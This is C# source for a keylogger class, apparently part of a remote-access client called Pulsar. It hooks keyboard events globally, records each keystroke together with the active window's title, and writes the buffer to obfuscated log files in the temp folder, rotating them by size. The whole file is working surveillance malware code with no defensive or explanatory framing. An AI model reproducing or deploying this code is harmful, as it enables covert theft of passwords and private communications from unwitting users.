272 lines
8.2 KiB
C#
272 lines
8.2 KiB
C#
using Gma.System.MouseKeyHook;
|
||||
|
|
using Pulsar.Client.Extensions;
|
|||
|
|
using Pulsar.Client.Helper;
|
|||
|
|
using Pulsar.Common.Helpers;
|
|||
|
|
using System;
|
|||
|
|
using System.Collections.Generic;
|
|||
|
|
using System.Diagnostics;
|
|||
|
|
using System.IO;
|
|||
|
|
using System.Text;
|
|||
|
|
using System.Timers;
|
|||
|
|
using System.Windows.Forms;
|
|||
|
|
using Timer = System.Timers.Timer;
|
|||
|
|
|
|||
|
|
namespace Pulsar.Client.Logging
|
|||
|
|
{
|
|||
|
|
public class Keylogger : IDisposable
|
|||
|
|
{
|
|||
|
|
private readonly long _maxLogFileSize;
|
|||
|
|
private readonly Timer _flushTimer;
|
|||
|
|
private readonly object _syncLock = new object();
|
|||
|
|
private readonly StringBuilder _currentBuffer = new StringBuilder();
|
|||
|
|
private readonly IKeyboardMouseEvents _events;
|
|||
|
|
|
|||
|
|
private string _currentWindow = string.Empty;
|
|||
|
|
private DateTime _lastWindowChange = DateTime.UtcNow;
|
|||
|
|
private string _logFilePath;
|
|||
|
|
private bool _isFirstWrite = true;
|
|||
|
|
private readonly TimeSpan _windowChangeThreshold = TimeSpan.FromSeconds(1);
|
|||
|
|
public bool IsDisposed { get; private set; }
|
|||
|
|
|
|||
|
|
public Keylogger(double flushInterval, long maxLogFileSize)
|
|||
|
|
{
|
|||
|
|
_maxLogFileSize = maxLogFileSize;
|
|||
|
|
_events = Hook.GlobalEvents();
|
|||
|
|
_logFilePath = GetLogFilePath();
|
|||
|
|
|
|||
|
|
_flushTimer = new Timer(flushInterval);
|
|||
|
|
_flushTimer.Elapsed += TimerElapsed;
|
|||
|
|
_flushTimer.AutoReset = true;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void Start()
|
|||
|
|
{
|
|||
|
|
Subscribe();
|
|||
|
|
_flushTimer.Start();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void Subscribe()
|
|||
|
|
{
|
|||
|
|
_events.KeyDown += OnKeyDown;
|
|||
|
|
_events.KeyPress += OnKeyPress;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void Unsubscribe()
|
|||
|
|
{
|
|||
|
|
_events.KeyDown -= OnKeyDown;
|
|||
|
|
_events.KeyPress -= OnKeyPress;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void OnKeyDown(object sender, KeyEventArgs e)
|
|||
|
|
{
|
|||
|
|
string newWindow = NativeMethodsHelper.GetForegroundWindowTitle() ?? "Unknown Window";
|
|||
|
|
|
|||
|
|
lock (_syncLock)
|
|||
|
|
{
|
|||
|
|
bool windowChanged = newWindow != _currentWindow;
|
|||
|
|
bool enoughTimePassed = DateTime.UtcNow - _lastWindowChange > _windowChangeThreshold;
|
|||
|
|
|
|||
|
|
// Check if window changed significantly
|
|||
|
|
if (windowChanged && enoughTimePassed)
|
|||
|
|
{
|
|||
|
|
_currentWindow = newWindow;
|
|||
|
|
_lastWindowChange = DateTime.UtcNow;
|
|||
|
|
|
|||
|
|
// Start a fresh line for the new window
|
|||
|
|
if (_currentBuffer.Length > 0 && !_currentBuffer.ToString().EndsWith(Environment.NewLine))
|
|||
|
|
_currentBuffer.AppendLine();
|
|||
|
|
|
|||
|
|
// Append window header cleanly
|
|||
|
|
_currentBuffer.AppendLine($"[{DateTime.UtcNow:HH:mm:ss}] {newWindow}");
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
HandleSpecialKey(e);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleSpecialKey(KeyEventArgs e)
|
|||
|
|
{
|
|||
|
|
switch (e.KeyCode)
|
|||
|
|
{
|
|||
|
|
case Keys.Enter:
|
|||
|
|
_currentBuffer.AppendLine();
|
|||
|
|
break;
|
|||
|
|
case Keys.Back:
|
|||
|
|
HandleBackspace();
|
|||
|
|
break;
|
|||
|
|
case Keys.Space:
|
|||
|
|
_currentBuffer.Append(' ');
|
|||
|
|
break;
|
|||
|
|
case Keys.Tab:
|
|||
|
|
_currentBuffer.Append("\t");
|
|||
|
|
break;
|
|||
|
|
case Keys.Escape:
|
|||
|
|
_currentBuffer.Append("[Esc]");
|
|||
|
|
break;
|
|||
|
|
case Keys.Delete:
|
|||
|
|
_currentBuffer.Append("[Del]");
|
|||
|
|
break;
|
|||
|
|
case Keys.Up:
|
|||
|
|
case Keys.Down:
|
|||
|
|
case Keys.Left:
|
|||
|
|
case Keys.Right:
|
|||
|
|
// Ignore arrow keys to reduce noise
|
|||
|
|
break;
|
|||
|
|
case Keys.LControlKey:
|
|||
|
|
case Keys.RControlKey:
|
|||
|
|
case Keys.LShiftKey:
|
|||
|
|
case Keys.RShiftKey:
|
|||
|
|
case Keys.LMenu:
|
|||
|
|
case Keys.RMenu:
|
|||
|
|
case Keys.LWin:
|
|||
|
|
case Keys.RWin:
|
|||
|
|
// Ignore modifier keys alone
|
|||
|
|
break;
|
|||
|
|
default:
|
|||
|
|
// Log function keys
|
|||
|
|
if (e.KeyCode >= Keys.F1 && e.KeyCode <= Keys.F24)
|
|||
|
|
{
|
|||
|
|
_currentBuffer.Append($"[{e.KeyCode}]");
|
|||
|
|
}
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleBackspace()
|
|||
|
|
{
|
|||
|
|
if (_currentBuffer.Length > 0)
|
|||
|
|
{
|
|||
|
|
// Remove last character if it's not part of a window header
|
|||
|
|
char lastChar = _currentBuffer[_currentBuffer.Length - 1];
|
|||
|
|
if (lastChar != '\n' && lastChar != '\r' && lastChar != ']')
|
|||
|
|
{
|
|||
|
|
_currentBuffer.Length--;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void OnKeyPress(object sender, KeyPressEventArgs e)
|
|||
|
|
{
|
|||
|
|
lock (_syncLock)
|
|||
|
|
{
|
|||
|
|
if (!char.IsControl(e.KeyChar))
|
|||
|
|
_currentBuffer.Append(e.KeyChar);
|
|||
|
|
else if (e.KeyChar == '\r') // Enter key
|
|||
|
|
_currentBuffer.AppendLine();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void TimerElapsed(object sender, ElapsedEventArgs e)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
FlushToFile();
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Keylogger flush error: {ex.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void FlushToFile()
|
|||
|
|
{
|
|||
|
|
lock (_syncLock)
|
|||
|
|
{
|
|||
|
|
if (_currentBuffer.Length == 0) return;
|
|||
|
|
|
|||
|
|
string contentToWrite = _currentBuffer.ToString();
|
|||
|
|
_currentBuffer.Clear();
|
|||
|
|
|
|||
|
|
WriteToFile(contentToWrite);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void WriteToFile(string content)
|
|||
|
|
{
|
|||
|
|
if (string.IsNullOrWhiteSpace(content)) return;
|
|||
|
|
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
// Write using the obfuscated log helper (handles compression + framing)
|
|||
|
|
FileHelper.WriteObfuscatedLogFile(_logFilePath, content + Environment.NewLine);
|
|||
|
|
|
|||
|
|
// Check file size
|
|||
|
|
FileInfo info = new FileInfo(_logFilePath);
|
|||
|
|
if (info.Length > _maxLogFileSize)
|
|||
|
|
{
|
|||
|
|
RotateLogFile();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
_isFirstWrite = false; // mark that we’ve written at least once
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Log file write error: {ex.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void RotateLogFile()
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
string baseName = DateTime.UtcNow.ToString("yyyy-MM-dd");
|
|||
|
|
string basePath = Path.Combine(Path.GetTempPath(), baseName);
|
|||
|
|
string newFilePath = basePath + ".txt";
|
|||
|
|
|
|||
|
|
int counter = 1;
|
|||
|
|
while (File.Exists(newFilePath))
|
|||
|
|
{
|
|||
|
|
newFilePath = $"{basePath}_{counter:00}.txt";
|
|||
|
|
counter++;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
_logFilePath = newFilePath;
|
|||
|
|
_isFirstWrite = true;
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Log rotation error: {ex.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private string GetLogFilePath()
|
|||
|
|
{
|
|||
|
|
return Path.Combine(Path.GetTempPath(), DateTime.UtcNow.ToString("yyyy-MM-dd") + ".txt");
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void FlushImmediately()
|
|||
|
|
{
|
|||
|
|
FlushToFile();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void Dispose()
|
|||
|
|
{
|
|||
|
|
Dispose(true);
|
|||
|
|
GC.SuppressFinalize(this);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
protected virtual void Dispose(bool disposing)
|
|||
|
|
{
|
|||
|
|
if (IsDisposed) return;
|
|||
|
|
|
|||
|
|
if (disposing)
|
|||
|
|
{
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
FlushToFile();
|
|||
|
|
Unsubscribe();
|
|||
|
|
_flushTimer.Stop();
|
|||
|
|
_flushTimer.Dispose();
|
|||
|
|
_events.Dispose();
|
|||
|
|
_currentBuffer.Clear();
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Debug.WriteLine($"Dispose error: {ex.Message}");
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
IsDisposed = true;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|